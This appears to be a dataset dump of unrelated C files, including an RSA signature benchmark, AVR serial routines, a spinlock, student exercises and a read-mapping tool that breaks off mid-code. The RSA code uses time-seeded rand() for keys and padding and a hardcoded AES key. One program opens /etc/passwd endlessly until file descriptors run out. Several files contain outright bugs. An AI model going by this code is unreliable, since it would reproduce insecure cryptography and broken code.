language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
---|---|
C | /**
* @file pps-client-cat.c
* @date 02 Mai 2018
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> // for memset()
#include "system.h"
#include "client.h"
#include "network.h"
#include "node.h"
#include "config.h"
int main(int argc, char* argv[])
{
client_t client;
if(client_init((client_init_args_t) {
&client, SIZE_MAX, TOTAL_SERVERS | PUT_NEEDED | GET_NEEDED,
(size_t) argc, &argv
}) != ERR_NONE) {
printf("FAIL\n");
return 1;
}
size_t index = 0;
char value[MAX_MSG_ELEM_SIZE];
pps_value_t value_temp = NULL;
error_code err = ERR_NONE;
while((argv[index+1] != NULL) && (err == ERR_NONE)) {
err = network_get(client, argv[index], &value_temp);
if(err == ERR_NONE) {
if(strlen(value) + strlen(value_temp) >= MAX_MSG_ELEM_SIZE) {
free_const_ptr(value_temp);
return ERR_NOMEM;
}
strncpy(&value[strlen(value)], value_temp, strlen(value_temp));
free_const_ptr(value_temp);
}
index++;
}
if(err != ERR_NONE) {
printf("FAIL\n");
} else {
err = network_put(client, argv[index], value);
if(err != ERR_NONE) {
printf("FAIL\n");
} else {
printf("OK\n");
}
}
client_end(&client);
return 0;
}
|
C | #include <stdio.h>
int main(){
int x[5] = {1,1};
for(int i = 0; i < 13; i++){
for(int j = 0; j < 2; j++){
printf("Register %d:%d\n",(i * 2 + j) ,x[j]);
}
x[0] = x[0] + x[1];
x[1] = x[1] + x[0];
}
}
|
C | #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "params.h"
#include "blake2.h"
#include "aes.h"
#include "math.h"
#include <gmp.h>
#include <time.h>
// ======== RSA Stuff
typedef struct {
mpz_t n; /* Modulus */
mpz_t e; /* Public Exponent */
} public_key;
typedef struct {
mpz_t n; /* Modulus */
mpz_t e; /* Public Exponent */
mpz_t d; /* Private Exponent */
mpz_t p; /* Starting prime p */
mpz_t q; /* Starting prime q */
} private_key;
void print_hex(char* arr, int len)
{
int i;
for(i = 0; i < len; i++)
printf("%02x", (unsigned char) arr[i]);
}
/* NOTE: Assumes mpz_t's are initted in ku and kp */
void generate_keys(private_key* ku, public_key* kp)
{
char buf[BUFFER_SIZE];
int i;
mpz_t phi; mpz_init(phi);
mpz_t tmp1; mpz_init(tmp1);
mpz_t tmp2; mpz_init(tmp2);
srand(time(NULL));
/* Insetead of selecting e st. gcd(phi, e) = 1; 1 < e < phi, lets choose e
* first then pick p,q st. gcd(e, p-1) = gcd(e, q-1) = 1 */
// We'll set e globally. I've seen suggestions to use primes like 3, 17 or
// 65537, as they make coming calculations faster. Lets use 3.
mpz_set_ui(ku->e, 17);
/* Select p and q */
/* Start with p */
// Set the bits of tmp randomly
for(i = 0; i < BUFFER_SIZE; i++)
buf[i] = rand() % 0xFF;
// Set the top two bits to 1 to ensure int(tmp) is relatively large
buf[0] |= 0xC0;
// Set the bottom bit to 1 to ensure int(tmp) is odd (better for finding primes)
buf[BUFFER_SIZE - 1] |= 0x01;
// Interpret this char buffer as an int
mpz_import(tmp1, BUFFER_SIZE, 1, sizeof(buf[0]), 0, 0, buf);
// Pick the next prime starting from that random number
mpz_nextprime(ku->p, tmp1);
/* Make sure this is a good choice*/
mpz_mod(tmp2, ku->p, ku->e); /* If p mod e == 1, gcd(phi, e) != 1 */
while(!mpz_cmp_ui(tmp2, 1))
{
mpz_nextprime(ku->p, ku->p); /* so choose the next prime */
mpz_mod(tmp2, ku->p, ku->e);
}
/* Now select q */
do {
for(i = 0; i < BUFFER_SIZE; i++)
buf[i] = rand() % 0xFF;
// Set the top two bits to 1 to ensure int(tmp) is relatively large
buf[0] |= 0xC0;
// Set the bottom bit to 1 to ensure int(tmp) is odd
buf[BUFFER_SIZE - 1] |= 0x01;
// Interpret this char buffer as an int
mpz_import(tmp1, (BUFFER_SIZE), 1, sizeof(buf[0]), 0, 0, buf);
// Pick the next prime starting from that random number
mpz_nextprime(ku->q, tmp1);
mpz_mod(tmp2, ku->q, ku->e);
while(!mpz_cmp_ui(tmp2, 1))
{
mpz_nextprime(ku->q, ku->q);
mpz_mod(tmp2, ku->q, ku->e);
}
} while(mpz_cmp(ku->p, ku->q) == 0); /* If we have identical primes (unlikely), try again */
/* Calculate n = p x q */
mpz_mul(ku->n, ku->p, ku->q);
/* Compute phi(n) = (p-1)(q-1) */
mpz_sub_ui(tmp1, ku->p, 1);
mpz_sub_ui(tmp2, ku->q, 1);
mpz_mul(phi, tmp1, tmp2);
/* Calculate d (multiplicative inverse of e mod phi) */
if(mpz_invert(ku->d, ku->e, phi) == 0)
{
mpz_gcd(tmp1, ku->e, phi);
printf("gcd(e, phi) = [%s]\n", mpz_get_str(NULL, 16, tmp1));
printf("Invert failed\n");
}
/* Set public key */
mpz_set(kp->e, ku->e);
mpz_set(kp->n, ku->n);
return;
}
void block_encrypt(mpz_t C, mpz_t M, public_key kp)
{
/* C = M^e mod n */
mpz_powm(C, M, kp.e, kp.n);
return;
}
int encrypt(char cipher[], char message[], int length, public_key kp)
{
/* Its probably overkill, but I implemented PKCS#1v1.5 paging
* Encoded message block is of the form:
* EMB = 00 || 02 || PS || 00 || D
* Where || is concatenation, D is the message, and PS is a string of
* (block_size-|D|-3) non-zero, randomly generated bytes
* |D| must be less than block_size - 11, which means we have at least 8
* bytes of PS
*/
int block_count = 0;
int prog = length;
char mess_block[BLOCK_SIZE];
mpz_t m; mpz_init(m);
mpz_t c; mpz_init(c);
while(prog > 0)
{
int i = 0;
int d_len = (prog >= (BLOCK_SIZE - 11)) ? BLOCK_SIZE - 11 : prog;
/* Construct the header */
mess_block[i++] = 0x00;
mess_block[i++] = 0x02;
while(i < (BLOCK_SIZE - d_len - 1))
mess_block[i++] = (rand() % (0xFF - 1)) + 1;
mess_block[i++] = 0x00;
/* Copy in the message */
memcpy(mess_block + i, message + (length - prog), d_len);
// Convert bytestream to integer
mpz_import(m, BLOCK_SIZE, 1, sizeof(mess_block[0]), 0, 0, mess_block);
// Perform encryption on that block
block_encrypt(c, m, kp);
// Calculate cipher write offset to take into account that we want to
// pad with zeros in the front if the number we get back has fewer bits
// than BLOCK_SIZE
int off = block_count * BLOCK_SIZE; // Base offset to start of this block
off += (BLOCK_SIZE - (mpz_sizeinbase(c, 2) + 8 - 1)/8); // See manual for mpz_export
// Pull out bytestream of ciphertext
mpz_export(cipher + off, NULL, 1, sizeof(char), 0, 0, c);
block_count++;
prog -= d_len;
}
return block_count * BLOCK_SIZE;
}
void block_decrypt(mpz_t M, mpz_t C, private_key ku)
{
mpz_powm(M, C, ku.d, ku.n);
return;
}
int decrypt(char* message, char* cipher, int length, private_key ku)
{
int msg_idx = 0;
char buf[BLOCK_SIZE];
*(long long*)buf = 0ll;
mpz_t c; mpz_init(c);
mpz_t m; mpz_init(m);
int i;
for(i = 0; i < (length / BLOCK_SIZE); i++)
{
// Pull block into mpz_t
mpz_import(c, BLOCK_SIZE, 1, sizeof(char), 0, 0, cipher + i * BLOCK_SIZE);
// Decrypt block
block_decrypt(m, c, ku);
// Calculate message write offset to take into account that we want to
// pad with zeros in the front if the number we get back has fewer bits
// than BLOCK_SIZE
int off = (BLOCK_SIZE - (mpz_sizeinbase(m, 2) + 8 - 1)/8); // See manual for mpz_export
// Convert back to bitstream
mpz_export(buf + off, NULL, 1, sizeof(char), 0, 0, m);
// Now we just need to lop off top padding before memcpy-ing to message
// We know the first 2 bytes are 0x00 and 0x02, so manually skip those
// After that, increment forward till we see a zero byte
int j;
for(j = 2; ((buf[j] != 0) && (j < BLOCK_SIZE)); j++);
j++; // Skip the 00 byte
/* Copy over the message part of the plaintext to the message return var */
memcpy(message + msg_idx, buf + j, BLOCK_SIZE - j);
msg_idx += BLOCK_SIZE - j;
}
return msg_idx;
}
// ==================== RSA Code
//
//void init_aes(unsigned char *sk){ // initialize the aes function with the key sk
//
// block key;
// key = toBlock((uint8_t*)sk);
// setKey(key);
//
// return;
//
// }
//void sig_KeyGen(public_key kp, mpz_t* c_pk){
//
// //init_aes(sk);
//
// block* prf_out;
// uint16_t* prf_out2;
// prf_out = malloc(16*16);
// prf_out2 = malloc(16*16);
// uint64_t i = 0;
// mpz_t mpz_prf; // value to hold the prf output before enc in keyGen
// mpz_init(mpz_prf);
//
// for ( i = 0;i<1024;i++){
//
// ecbEncCounterMode(i,16,prf_out);
//
// memcpy(prf_out2,prf_out,SECRECT_SIZE);
//
// mpz_import(mpz_prf,SECRECT_SIZE,1,sizeof(prf_out2[0]),0,0, prf_out2);
//
//
// // for (int j =0; j<1; j++){
// // printf("\n The value of PRF for j = %d is %d for the i %d \n",j, prf_out2[j],i);}
// mpz_init(c_pk[i]); // initialize the value of c_pk at i
// block_encrypt(c_pk[i],mpz_prf,kp); // encrypts the value of mpz_prf and stores it in c_pk[i]
//
// // == == == == == == ** ** ** ** ** ** ** **
// mpz_invert(c_pk[i], c_pk[i], kp.n);
// //counter++;
//
//
// }
// gmp_printf("This is the value in the MAIN of pk %Zd\n ",c_pk[0]);
//
// free(prf_out);
// free(prf_out2);
// return;
//}
private_key ku;
public_key kp;
int main( )
{
// Timing variables
double SignTime, VerifyTime;
SignTime = 0.0;
VerifyTime = 0.0;
clock_t flagSignStart, flagVerStart;
clock_t flagSignEnd, flagVerEnd;
// Initialize public key
mpz_init(kp.n);
mpz_init(kp.e);
// Initialize private key
mpz_init(ku.n);
mpz_init(ku.e);
mpz_init(ku.d);
mpz_init(ku.p);
mpz_init(ku.q);
const unsigned char sk[16] = {0x54, 0xa2, 0xf8, 0x03, 0x1d, 0x18, 0xac, 0x77, 0xd2, 0x53, 0x92, 0xf2, 0x80, 0xb4, 0xb1, 0x2f};
generate_keys(&ku, &kp);
block* prf_out;
unsigned char * prf_out2;
prf_out = malloc(16*16);
prf_out2 = malloc(16*16);
const unsigned char z[32] = {0x54, 0xa2, 0xf8, 0x03, 0x1d, 0x18, 0xac, 0x77, 0xd2, 0x53, 0x92, 0xf2, 0x80, 0xb4, 0xb1, 0x2f, 0xac, 0xf1, 0x29, 0x3f, 0x3a, 0xe6, 0x77, 0x7d, 0x74, 0x15, 0x67, 0x91, 0x99, 0x53, 0x69, 0xc5};
mpz_t c_pk[1024];
for ( int ij = 0;ij<1024;ij++)
mpz_init(c_pk[ij]);
uint64_t ii ,i;
ii = 1;
i = 0;
block key;
key = toBlock((uint8_t*)sk);
setKey(key);
uint64_t index;
uint64_t index_v;
uint64_t counter = 1025;
// =========================== KeyGen
mpz_t mpz_prf; // value to hold the prf output before enc in keyGen
mpz_init(mpz_prf);
// gmp_printf("This is the value in the MAIN of pk %Zd\n ",c_pk[0]);
/// sig_KeyGen(kp, &c_pk);
for (i = 0;i<1024;i++){
// printf("\n\n\n for i =%d \n\n\n",i);
ecbEncCounterMode(i,16,prf_out);
memcpy(prf_out2,prf_out,32);
mpz_import(mpz_prf,32 ,0,sizeof(prf_out2[0]),0,0, prf_out2);
// for (int j =0; j<1; j++){
// printf("\n The value of PRF for j = %d is %d for the i %d \n",j, prf_out2[j],i);}
mpz_init(c_pk[i]); // initialize the value of c_pk at i
block_encrypt(c_pk[i],mpz_prf,kp); // encrypts the value of mpz_prf and stores it in c_pk[i]
// == == == == == == ** ** ** ** ** ** ** **
mpz_invert(c_pk[i], c_pk[i], kp.n);
mpz_mod(c_pk[i],c_pk[i],kp.n);
// gmp_printf("This is the value in the main of pk %Zd\n ", ,c_pk[i]);
counter++;
}
// =========================== Sign
uint8_t message[32] = {0};
unsigned char h[32];
unsigned char concatMsg[64] = {0x00};
unsigned char hashedMsg[64] = {0x00};
mpz_t r; // value to hold the prf output before enc in sign for r
mpz_init(r);
mpz_t R; // value to hold the prf output before enc in sign for R
mpz_init(R);
mpz_t s_i; // value to hold the sk component s_i
mpz_init(s_i);
mpz_t gamma; // value to hold the signature component \gamma
// unsigned int one = 1;
mpz_init(gamma);
mpz_set_ui(gamma,1);
unsigned char concatMsg_vfy[64] = {0x00};
unsigned char hashedMsg_vfy[64] = {0x00};
mpz_t Gamma; // value to hold the signature component \gamma
mpz_init(Gamma);
mpz_set_ui(Gamma,1);
mpz_t gamma_enc; // value to hold the signature component \gamma
mpz_init(gamma_enc);
mpz_t beta;
mpz_init(beta);
int zz;
for (zz = 0; zz < 100000; ++zz) {
mpz_set_ui(gamma,1);
flagSignStart = clock();
ecbEncCounterMode(counter,16,prf_out); // To generate the randomness r
//counter++;
memcpy(prf_out2,prf_out,32);
mpz_import(r,32,0,sizeof(prf_out2[0]),0,0, prf_out2);
mpz_mod(r,r,kp.n);
block_encrypt(R, r, kp); // To generate R
blake2b(h, R, NULL, sizeof(R),32,0); // Get the value of h from hash funtion
strcpy(concatMsg, message); // Concatenate msg with h
//memcpy(concatMsg+32, h, 32); // Concatenate msg with h
blake2b(hashedMsg, concatMsg, NULL, 64,64,0);
for (unsigned i = 0; i < 18; ++i) {
index = hashedMsg[2*i] + ((hashedMsg[2*i+1]/64) * 256);
// index = ((hashedMsg[2*i+1]/64) * 256);
// printf(" The index is %d\n", index);
ecbEncCounterMode(index,16,prf_out);
memcpy(prf_out2,prf_out,32);
mpz_import(s_i,32,0,sizeof(prf_out2[0]),0,0, prf_out2);
// printf("This is the value in the main of pk %d\n ", mpz_sizeinbase(s_i, 2));
// take the mod
// mpz_mod(s_i,s_i,kp.n);
//mpz_mod(gamma,gamma,kp.n);
mpz_mul(gamma,s_i,gamma);
// mpz_mod(gamma,gamma,kp.n);
}
mpz_mul(gamma,r,gamma); // multiply the masking term
mpz_mod(gamma,gamma,kp.n); // take the mod
// printf(" The size of is prfout2 %d\n", mpz_size(s_i));
flagSignEnd = clock();
SignTime = SignTime +(double)(flagSignEnd-flagSignStart);
// =========================== Verify
// unsigned char concatMsg_vfy[64] = {0x00};
// unsigned char hashedMsg_vfy[64] = {0x00};
// mpz_t Gamma; // value to hold the signature component \gamma
// mpz_init(Gamma);
// mpz_set_ui(Gamma,1);
// mpz_t gamma_enc; // value to hold the signature component \gamma
// mpz_init(gamma_enc);
// mpz_t beta;
// mpz_init(beta);
strcpy(concatMsg_vfy, message); // Concatenate msg with h
// memcpy(concatMsg_vfy+32, h, 32);
mpz_set_ui(Gamma,1);
flagVerStart = clock();
blake2b(hashedMsg_vfy, concatMsg_vfy, NULL, 64,64,0);
// printf("\n\n\n This is in the Verify algo\n");
//for (unsigned i = 0; i < 64; ++i)
// printf("The hash at %d is %x\n", i,hashedMsg_vfy[i] );
for (unsigned j = 0; j < 18; ++j) {
index_v = hashedMsg_vfy[2*j] + ((hashedMsg_vfy[2*j+1]/64) * 256);
// index_v = ((hashedMsg_vfy[2*j+1]/64) * 256);
mpz_mul(Gamma,c_pk[index_v],Gamma);
mpz_mod(Gamma,Gamma,kp.n); // take the mod
}
// gmp_printf ("\n %s is an mpz for R %Zd\n", "here", R);
block_encrypt(gamma_enc,gamma,kp); // encrypts the value of gamma
// gmp_printf ("\n %s is an mpz for gamma %Zd\n", "here", gamma_enc);
mpz_mul(beta, gamma_enc,Gamma);
mpz_mod(beta,beta,kp.n);
flagVerEnd = clock();
VerifyTime = VerifyTime + (double)(flagVerEnd-flagVerStart);
}
// gmp_printf ("\n %s is an mpz for gamma %Zd\n", "here", beta);
if (mpz_cmp(R,beta) == 0)
printf("SIGNATURE IS VERIFIED\n");
else
printf("SIGNATURE IS NOT VERIFIED\n");
printf("Parameters:\n");
printf("|N| = %d\n", MODULUS_SIZE);
gmp_printf("e = %x\n", kp.e);
// printf("%fus per sign\n", ((double) (SignTime)));
printf("%fus per sign\n", ((double) (SignTime * 1000)) / CLOCKS_PER_SEC / zz * 1000);
printf("%fus per verification\n", ((double) (VerifyTime * 1000)) / CLOCKS_PER_SEC / zz * 1000);
printf("%fus end-to-end delay\n", ((double) ((SignTime+VerifyTime) * 1000)) / CLOCKS_PER_SEC / zz * 1000);
free(prf_out);
free(prf_out2);
return 0;
}
|
C | #include "usart.h"
#include <avr/io.h>
void USART_Init( unsigned int ubrr)
{
/* Set baud rate */
UBRRH = (unsigned char)(ubrr>>8);
UBRRL = (unsigned char)ubrr;
/* flush transmitt register, Double speed */
UCSRA = (1<<UDRE)|(1 << U2X);
/* enable receiver interrupt and transmitter, pins forced */
UCSRB = (1<<RXCIE)|(1<<RXEN)|(1<<TXEN);
/* Asynchronous, no parity, Set frame format: 8data, 1stop bit */
UCSRC = (1<<URSEL)|(1<<UCSZ0)|(1<<UCSZ1);
}
void USART_Transmit( unsigned char data )
{
while ( !( UCSRA & (1<<UDRE)) ); /* Wait for empty transmit buffer */
UDR = data; /* Put data into buffer, sends the data */
}
void USART_Transmit_string( char *data )
{
while ( *data != 0 ) {
USART_Transmit(*data);
data++;
}
}
void USART_Transmit_longnum(signed long data ) {
unsigned char digits[10];
signed char i;
if (data==0)
USART_Transmit('0');
else { // PROZKOUMAT!
if (data<0) {
USART_Transmit('-');
data*=-1;
}
for (i=0;i<10;i++) {
digits[i]=data%10;
data=data/10;
}
i=9;
while (digits[i]==0) i--;
while (i>0) {
USART_Transmit(digits[i]+48);
i--;
}
USART_Transmit(digits[0]+48);
}
}
void USART_Transmit_num(unsigned char data ) {
unsigned char a,b,c;
c=data%10;
data=data/10;
b=data%10;
data=data/10;
a=data%10;
if (a>0) USART_Transmit(a+48);
if ((a>0) || (b>0)) USART_Transmit(b+48);
USART_Transmit(c+48);
}
void USART_Transmit_num_padded(unsigned long data, unsigned char pads ) {
unsigned char digits[10];
signed char i;
// if (data==0)
// USART_Transmit('0');
// else { // PROZKOUMAT!
/*
if (data<0) {
USART_Transmit('-');
data*=-1;
}*/
for (i=0;i<pads;i++) {
digits[i]=data%10;
data=data/10;
}
for (i=pads-1;i>-1;i--) {
USART_Transmit(digits[i]+48);
}
/*
}*/
}
/*void USART_Transmit_float( float data ) {
int a,b,c;
c=((int)data)%10;
b=((int)(data/10))%10;
a=((int)(data/100))%10;
USART_Transmit(a+48);
USART_Transmit(b+48);
USART_Transmit(c+48);
}*/
void USART_Transmit_byte( char data ) {
unsigned char i;
i=0b10000000;
while (i) {
USART_Transmit( ( (i&data)&&1 ) + 48 );
i>>=1;
}
}
|
C | // twofloats.h - My twofloats data type, useful for passing stereo data
// around.
// --------------------------------------------------------------------------
// Copyright (c) 2005 Niall Moody
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
// --------------------------------------------------------------------------
#ifndef TWOFLOATS_H_
#define TWOFLOATS_H_
typedef struct _twofloats
{
union
{
float left;
float x;
float val1;
};
union
{
float right;
float y;
float val2;
};
_twofloats()
{
left = 0.0f;
right = 0.0f;
};
_twofloats(float val1, float val2)
{
left = val1;
right = val2;
};
_twofloats(float val)
{
left = right = val;
};
_twofloats operator+(_twofloats op2)
{
_twofloats temp;
temp.left = op2.left + left;
temp.right = op2.right + right;
return temp;
};
_twofloats operator+(float op2)
{
_twofloats temp;
temp.left = op2 + left;
temp.right = op2 + right;
return temp;
};
_twofloats operator+=(_twofloats op2)
{
left = op2.left + left;
right = op2.right + right;
return *this;
};
_twofloats operator+=(float op2)
{
left = op2 + left;
right = op2 + right;
return *this;
};
_twofloats operator-(_twofloats op2)
{
_twofloats temp;
temp.left = left - op2.left;
temp.right = right - op2.right;
return temp;
};
_twofloats operator-(float op2)
{
_twofloats temp;
temp.left = left - op2;
temp.right = right - op2;
return temp;
};
_twofloats operator-=(_twofloats op2)
{
left = left - op2.left;
right = right - op2.right;
return *this;
};
_twofloats operator-=(float op2)
{
left = left - op2;
right = right - op2;
return *this;
};
_twofloats operator*(_twofloats op2)
{
_twofloats temp;
temp.left = op2.left * left;
temp.right = op2.right * right;
return temp;
};
_twofloats operator*(float op2)
{
_twofloats temp;
temp.left = op2 * left;
temp.right = op2 * right;
return temp;
};
_twofloats operator*=(_twofloats op2)
{
left = op2.left * left;
right = op2.right * right;
return *this;
};
_twofloats operator*=(float op2)
{
left = op2 * left;
right = op2 * right;
return *this;
};
_twofloats operator=(_twofloats op2)
{
left = op2.left;
right = op2.right;
return *this;
};
_twofloats operator=(float op2)
{
left = op2;
right = op2;
return *this;
};
} twofloats;
#endif |
C | #include<stdio.h>
#define toint(X) (X - '0')
// ˷
// https://blog.csdn.net/u010983881/article/details/77503519
// http://www.cnblogs.com/king-ding/p/bigIntegerMul.html
int getlen(char in[]) {
int count=0;
while(in[count] != '\0')
count++;
return count;
}
void muti(char *mult, char *fact) {
// printf("%c, %c", mult[0], fact[0]);
int lenMult = getlen(mult);
int lenFact = getlen(fact);
char *a;
int asd=0;
memcpy(a, mult, lenMult/2);
printf("%d|", toint(a[asd]));
}
int main(void) {
char multiplier[] = {"12345678"};
char factor[] = {"12345678"};
muti(multiplier, factor);
}
|
C | #include <stdint.h>
#include <stdbool.h>
#include <math.h>
#include "inc/hw_memmap.h"
#include "inc/hw_types.h"
#include "driverlib/fpu.h"
#include "driverlib/sysctl.h"
#include "driverlib/rom.h"
#ifndef M_PI
#define M_PI 3.14159265358979323846
#endif
#define SERIES_LENGTH 1000
float gSeriesData[SERIES_LENGTH];
int32_t i32DataCount = 0;
int main(void)
{
float fRadians; // angle in a circle used to calculate sine
/* FPU Initialization */
ROM_FPULazyStackingEnable(); // turn on lazy stacking
ROM_FPUEnable(); // turn on FPU
/* CPU Clock SETUP - 50 MHz */
ROM_SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_XTAL_16MHZ | SYSCTL_OSC_MAIN);
// go through 1000 angles in the circle
while(i32DataCount < SERIES_LENGTH)
{
// store sine values onto array
gSeriesData[i32DataCount] = 1.0 * sinf(2*M_PI*50 * i32DataCount) + 0.5 * cosf(2.0 * M_PI*200 * i32DataCount);
// change from sin() to 1.0*sin(2pi50t) + 0.5*cos(2pi200t)
// increment counter
i32DataCount++;
}
while(1)
{
}
}
|
C | /*32. Se ingresa una lista de pares ordenados (numero de socio, edad).
El último es ('*', 0). La computadora debe indicar cuántas personas
tienen más de 18 años y menos de 65, el numero de socio del mayor y
del menor.*/
#include <stdio.h>
int main (){
int age, youngage, oldage, cont=0;
int num, youngnum, oldnum;
printf("Por favor, ingrese el numero de socio y la edad, para salir ingrese '*'y 0\n");
scanf("%d %d", &num, &age);
while(num!= && age!=0){
if(age<youngage){
youngage=age;
youngnum=num;
}
if(age>oldage){
oldage=age;
oldnum=num;
}
if(age>=18&&age<=65){
cont++;
}
printf("Por favor, ingrese el numero de socio y la edad, para salir ingrese '*'y 0\n");
scanf("%d %d", &num, &age);
}
printf("Se han ingresado %d personas entre 18 y 65 anios", cont);
printf("El numero de socio del mas viejo es: %d", oldnum);
printf("El numero de socio del mas joven es: %d", youngnum);
return 0;
} |
C | #pragma once
#include "cocos2d.h"
// This functions shift the origin from the bottom left to the center of the screen
static void shiftOrigin(cocos2d::Node* node)
{
const cocos2d::Node* parent = node->getParent();
// only adjust position if there is a parent, and the parent is no the root scene
if (parent && dynamic_cast<const cocos2d::Scene*>(parent) == nullptr)
{
const auto p_ap = parent->getAnchorPoint();
const auto p_cs = parent->getContentSize();
const auto offset = cocos2d::Vec2(p_ap.x * p_cs.width, p_ap.y * p_cs.height);
const auto new_pos = node->getCreatorPosition() + offset;
//const auto new_pos = (node->getHasWidget() ? : node->getPosition() : node->getCreatorPosition()) + offset;
node->setPosition(new_pos);
}
}
static inline void shiftOriginRecursively(cocos2d::Node* root)
{
shiftOrigin(root);
auto children = root->getChildren();
for (auto child : children)
{
shiftOriginRecursively(child);
}
}
|
C | #include<fcntl.h>
#include<sys/stat.h>
#define BUFSIZE 1024
int main()
{
int fd;
while(1)
{
if((fd=open("/etc/passwd",O_RDONLY))==-1)
{
perror("open");
exit(1);
}
printf("file des:%d\n",fd);
}
exit(0);
}
|
C | #include<complex.h>
#include<math.h>
#include<stdlib.h>
#include<stdio.h>
#include<assert.h>
complex plainmonte(int dim, double f(double* x), double* a, double *b, int N);
int main(){
double f(double* x){
return 1./(1.-cos(x[0])*cos(x[1])*cos(x[2]))/M_PI/M_PI/M_PI;
}
//Boundaries
double a[]={0,0,0};
double b[]={M_PI,M_PI,M_PI};
//Number of points
int N=1e6;
int dim=3;
complex integral=plainmonte(dim,f,a,b,N);
printf("Value of integral (plain Montecarlo) =%g +- %g\n",creal(integral), cimag(integral));
printf("Value of integral =1.39 (approx)\n");
return 0;
}
|
C | /*
* Author: Jhonatan Casale (jhc)
*
* Contact : [email protected]
* : [email protected]
* : https://github.com/jhonatancasale
* : https://twitter.com/jhonatancasale
* : http://jhonatancasale.github.io/
*
* Create date Tue 31 Jan 18:30:10 BRST 2017
*
*/
#include <stdlib.h>
#include <stdio.h>
int main (int argc, char **argv)
{
int i = 0;
float f = 8.9;
printf( "%d\n", i);
printf( "%f\n", f);
char c = 'f';
char s[] = "This is a test";
printf( "%c\n", c);
printf( "%s\n", s);
return (EXIT_SUCCESS);
}
|
C | #include "b_lock.h"
#include "time.h"
void lock(volatile int*lock_m) {
long wait_time = 10;
struct timespec ts = {
0, wait_time
};
// Try test and set
while(test_and_set(lock_m)) {
// Wait until lock_m is 0
while (*lock_m) {
nanosleep(&ts, &ts);
wait_time *= 2;
ts.tv_nsec = wait_time;
}
}
// Now free to execute -->
return;
}
int test_and_set(volatile int*lock_m) {
int res;
// Calling testandlock
asm ("movl $1, %0\n"
"xchgl %0, (%1)\n"
:"=a"(res)
:"b" (lock_m)
);
return res;
}
void unlock(volatile int*lock_m) {
// Calling unlock
asm("movl $0, %%ebx\n" // Setting 0 to eax
"xchgl %%ebx, (%0)\n" // Setting lock_m to 0 (freeing)
:
:"a" (lock_m)
);
return;
}
|
C | #include <bios/format.h>
#include <bios/log.h>
#include <bios/intervalFind.h>
#include <mrf/mrf.h>
/**
* \file mrfMappingBias.c Module to calculate mapping bias for a given annotation set.
* Aggregates mapped reads that overlap with transcripts (specified in file.annotation) and \n
* outputs the counts over a standardized transcript where 0 represents the 5' end of the transcript and \n
* 1 denotes the 3' end of the transcripts. This analysis is done in a strand specific way. \n
* \n
* Usage: mrfMappingBias <file.annotation> \n
* Takes MRF from STDIN. \n
*/
#define NUM_BINS 100
static void collectAlignmentBlocks (Array blocks, MrfRead *currRead)
{
int i;
for (i = 0; i < arrayMax (currRead->blocks); i++) {
array (blocks,arrayMax (blocks),MrfBlock*) = arrp (currRead->blocks,i,MrfBlock);
}
}
int main (int argc, char *argv[])
{
MrfEntry *currEntry;
MrfBlock *currBlock;
Array blocks;
Array intervals;
Interval *currInterval;
SubInterval *currSubInterval;
int h,i,j,k;
int count;
int exonBaseCount;
int relativeStart,relativeEnd;
int foundRelativeStart;
int normalizedCounts[NUM_BINS];
double normalizedValue,normalizedRelativeStart,normalizedRelativeEnd;
if (argc != 2) {
usage ("%s <file.annotation>",argv[0]);
}
intervalFind_addIntervalsToSearchSpace (argv[1],0);
for (k = 0; k < NUMELE (normalizedCounts); k++) {
normalizedCounts[k] = 0;
}
blocks = arrayCreate (10,MrfBlock*);
mrf_init ("-");
while (currEntry = mrf_nextEntry ()) {
arrayClear (blocks);
collectAlignmentBlocks (blocks,&currEntry->read1);
if (currEntry->isPairedEnd) {
collectAlignmentBlocks (blocks,&currEntry->read2);
}
for (h = 0; h < arrayMax (blocks); h++) {
currBlock = arru (blocks,h,MrfBlock*);
intervals = intervalFind_getOverlappingIntervals (currBlock->targetName,currBlock->targetStart,currBlock->targetEnd);
count = 0;
for (i = 0; i < arrayMax (intervals); i++) {
currInterval = arru (intervals,i,Interval*);
if (currInterval->strand == currBlock->strand) {
count++;
}
}
if (count != 1) {
continue;
}
exonBaseCount = 0;
foundRelativeStart = 0;
currInterval = arru (intervals,0,Interval*);
for (j = 0; j < arrayMax (currInterval->subIntervals); j++) {
currSubInterval = arrp (currInterval->subIntervals,j,SubInterval);
for (k = currSubInterval->start; k <= currSubInterval->end; k++) {
exonBaseCount++;
if (currBlock->targetStart <= k && foundRelativeStart == 0) {
relativeStart = exonBaseCount;
foundRelativeStart = 1;
}
if (k <= currBlock->targetEnd) {
relativeEnd = exonBaseCount;
}
}
}
if (relativeEnd <= relativeStart) {
// query transcript overlaps with an intronic region of the annotated transcript
continue;
}
if (currBlock->strand == '+') {
normalizedRelativeStart = (double)relativeStart / exonBaseCount;
normalizedRelativeEnd = (double)relativeEnd / exonBaseCount;
}
else if (currBlock->strand == '-') {
normalizedRelativeStart = 1 - (double)relativeEnd / exonBaseCount;
normalizedRelativeEnd = 1 - (double)relativeStart / exonBaseCount;
}
else {
continue; // if currBlock->strand == '.', ambiguous
}
for (k = 0; k < NUMELE (normalizedCounts); k++) {
normalizedValue = (double)k / NUM_BINS;
if (normalizedValue >= normalizedRelativeStart && normalizedValue <= normalizedRelativeEnd) {
normalizedCounts[k]++;
}
}
}
}
for (k = 0; k < NUMELE(normalizedCounts); k++) {
printf ("%f\t%d\n",(double)k / NUM_BINS,normalizedCounts[k]);
}
mrf_deInit ();
